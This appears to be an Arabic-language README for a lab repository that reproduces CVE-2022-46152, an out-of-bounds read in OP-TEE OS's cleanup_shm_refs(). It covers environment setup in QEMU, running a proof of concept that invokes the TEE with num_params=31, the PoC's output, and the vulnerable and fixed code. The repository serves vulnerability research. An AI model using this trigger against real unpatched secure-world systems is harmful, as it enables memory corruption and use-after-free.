
CVE-2022-46152: تحقق غير صحيح من فهرس المصفوفة في دالة `cleanup_shm_refs`.
OP-TEE OS cleanup_shm_refs() قراءة خارج الحدود — بيئة إعادة الإنتاج
المرجع: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
النشرة الأمنية: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7
| الحقل | التفاصيل |
|---|---|
| الثغرة | لا تتحقق الدالة cleanup_shm_refs() من قيمة num_params (نظرياً حتى 127؛ محدودة عملياً إلى 31 بواسطة TEE ioctl في Linux بقيمة TEE_MAX_ARG_SIZE=1024)، بينما saved_attr[] تحتوي على 4 عناصر فقط |
| الإصدارات المتأثرة | OP-TEE OS < 3.19.0 |
| شرط التفعيل | يرسل العالم العادي طلب INVOKE مع num_params=31 عبر ioctl مباشر (متجاوزاً حد libteec البالغ 4 معاملات) |
| التأثير | قراءة خارج الحدود لبيانات مكدس العالم الآمن؛ إذا تطابقت قيمة متبقية في المكدس مع نوع TMEM، يحدث تحرير بعد الاستخدام |
| الإصلاح | cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (الالتزام 728616b) |
CVE-2022-46152/
├── README.md # هذا الملف (الإنجليزية)
├── README.zh.md # النسخة الصينية
├── setup.sh # إعداد بيئة بأمر واحد
├── run_qemu.sh # تشغيل QEMU
├── exploit.sh # سكريبت إعادة إنتاج آلي/يدوي
├── cve-2022-46152-oob-emsg.patch # تصحيح تصحيح OP-TEE OS (entry_std.c EMSG للقراءة خارج الحدود)
├── qemu-pflash-suppress-unimp-log.patch # تصحيح QEMU (إخفاء سجلات pflash_write المزعجة)
├── poc/
│ ├── cve_2022_46152.c # كود مصدر PoC (ioctl مباشر متجاوزاً libteec)
│ └── Makefile # ملف Makefile للترجمة المتقاطعة
├── docs/
│ └── vulnerability_analysis.md # تحليل تقني مفصل للثغرة
└── optee/ # بيئة OP-TEE (تم إنشاؤها بواسطة setup.sh)
├── optee_os/ # OP-TEE OS 3.18.0 (الإصدار الضعيف)
├── build/ # نظام البناء (qemu_v8.mk)
├── linux/ # نواة Linux
├── buildroot/ # Buildroot rootfs
├── trusted-firmware-a/ # TF-A v2.6
├── qemu/ # QEMU v7.0.0 (المصدر)
└── out/bin/ # مخرجات البناء
├── bl1.bin # TF-A BL1
├── Image # صورة نواة Linux
└── rootfs.cpio.gz # rootfs يحتوي على PoC
# Ubuntu/Debian
sudo apt-get install -y \
repo git make python3 \
aarch64-linux-gnu-gcc \
device-tree-compiler \
libglib2.0-dev libpixman-1-dev \
netcat-openbsd expect
# تحقق
aarch64-linux-gnu-gcc --version
repo --version
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..
ملاحظة: استخدم الوسم
3.18.0. هذا الإصدار يحتوي على الثغرة CVE-2022-46152 ولم يتم تطبيق الإصلاح بعد.
./setup.sh
هذا السكريبت سوف:
repo sync لجلب كل الكود المصدريoptee/toolchains/ موجوداً بالفعل، وإلا ينزل تلقائياً)make all لبناء TF-A و OP-TEE OS 3.18.0 و Linux و Buildroot# افتح ثلاث نوافذ طرفية:
# النافذة 1 — تشغيل QEMU:
./run_qemu.sh --no-gdb
# النافذة 2 — وحدة تحكم العالم العادي (شغّل بعد بدء run_qemu.sh):
python3 optee/build/soc_term.py 54320
# النافذة 3 — العالم الآمن (سجلات OP-TEE، شغّل بعد بدء run_qemu.sh):
python3 optee/build/soc_term.py 54321
ملاحظة: يقوم
run_qemu.shداخلياً بتشغيلsoc_term.pyفي وضع الخادم مستمعاً على 54320/54321، ويتصل QEMU كعميل. الأوامر أعلاه هي أمثلة للاتصال بنسخة قيد التشغيل ولا تحتاج عموماً للتشغيل يدوياً.
# في محطة العالم العادي (54320)، بعد ظهور موجه تسجيل الدخول:
(none) login: root
# تشغيل PoC
/root/cve_2022_46152
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0
[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3
[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.
[*] Done. Check secure world UART output for OOB/abort evidence.
ملاحظة:
TEE_MAX_ARG_SIZE=1024يحد من ioctl واحد بحد أقصى 31 معلمة (libteec يحدد بـ 4). ومع ذلك،num_params=31كافٍ لتفعيل القراءة خارج الحدود (قراءةsaved_attr[4..30]، 27 عنصراً خارج الحدود).
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!
السطر التحذيري
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB!هو سجل صريح تمت إضافته إلىentry_std.cعبر التصحيحcve-2022-46152-oob-emsg.patchلتأكيد مسار تفعيل الثغرة. تقرأcleanup_shm_refs27 عنصراً إضافياً خارج الحدود من المكدس؛ إذا تطابقت أي قيمة متبقية في المكدس مع نوع TMEM، يمكن تفعيلmobj_put()(تحرير بعد الاستخدام).
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
uint32_t saved_attr[TEE_NUM_PARAMS]; /* 4 فتحات فقط! */
...
res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
if (res != TEE_SUCCESS) {
/* ❌ خطأ: num_params يمكن أن تكون 127، قراءة خارج الحدود لـ saved_attr[4..126] */
cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
goto out;
}
...
}
if (res != TEE_SUCCESS) {
/* ✅ الإصلاح: MIN(4, 127) = 4، لم يعد خارج الحدود */
cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
goto out;
}
# إعداد البيئة
./setup.sh
# تشغيل QEMU (مع منفذ تصحيح GDB)
./run_qemu.sh
# تشغيل QEMU (بدون انتظار GDB)
./run_qemu.sh --no-gdb
# عرض خطوات إعادة الإنتاج اليدوية
./exploit.sh --manual
# إعادة إنتاج آلية (بدون حاجة لنوافذ إضافية، المخرجات في الصدفة الحالية)
./exploit.sh
# الاتصال بوحدة تحكم العالم العادي (بعد بدء run_qemu.sh)
python3 optee/build/soc_term.py 54320
# الاتصال بسجل العالم الآمن (بعد بدء run_qemu.sh)
python3 optee/build/soc_term.py 54321
# تصحيح OP-TEE OS باستخدام GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c
يُطبق هذا المستودع التصحيح qemu-pflash-suppress-unimp-log.patch فوق QEMU v7.0.0
لإزالة المخرجات المزعجة التالية عند تشغيل الآلة الافتراضية:
pflash_write: Write to buffer emulation is flawed
تستدعي الدالة pflash_write() في hw/block/pflash_cfi01.c الدالة qemu_log_mask(LOG_UNIMP, ...) عند
معالجة أمر CFI pflash 0xe8 (الكتابة في المخزن المؤقت)، مسجلة تحذيراً "غير منفذ".
يكتب برنامج TF-A الثابت في pflash أثناء الإقلاع، مما يؤدي إلى تفعيل هذا المسار وطباعة الرسالة في كل بدء.
hw/block/pflash_cfi01.c)يزيل استدعاء qemu_log_mask(LOG_UNIMP, ...) داخل فرع case 0xe8 مع
الحفاظ على المنطق الوظيفي سليماً.
optee/qemu/)cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64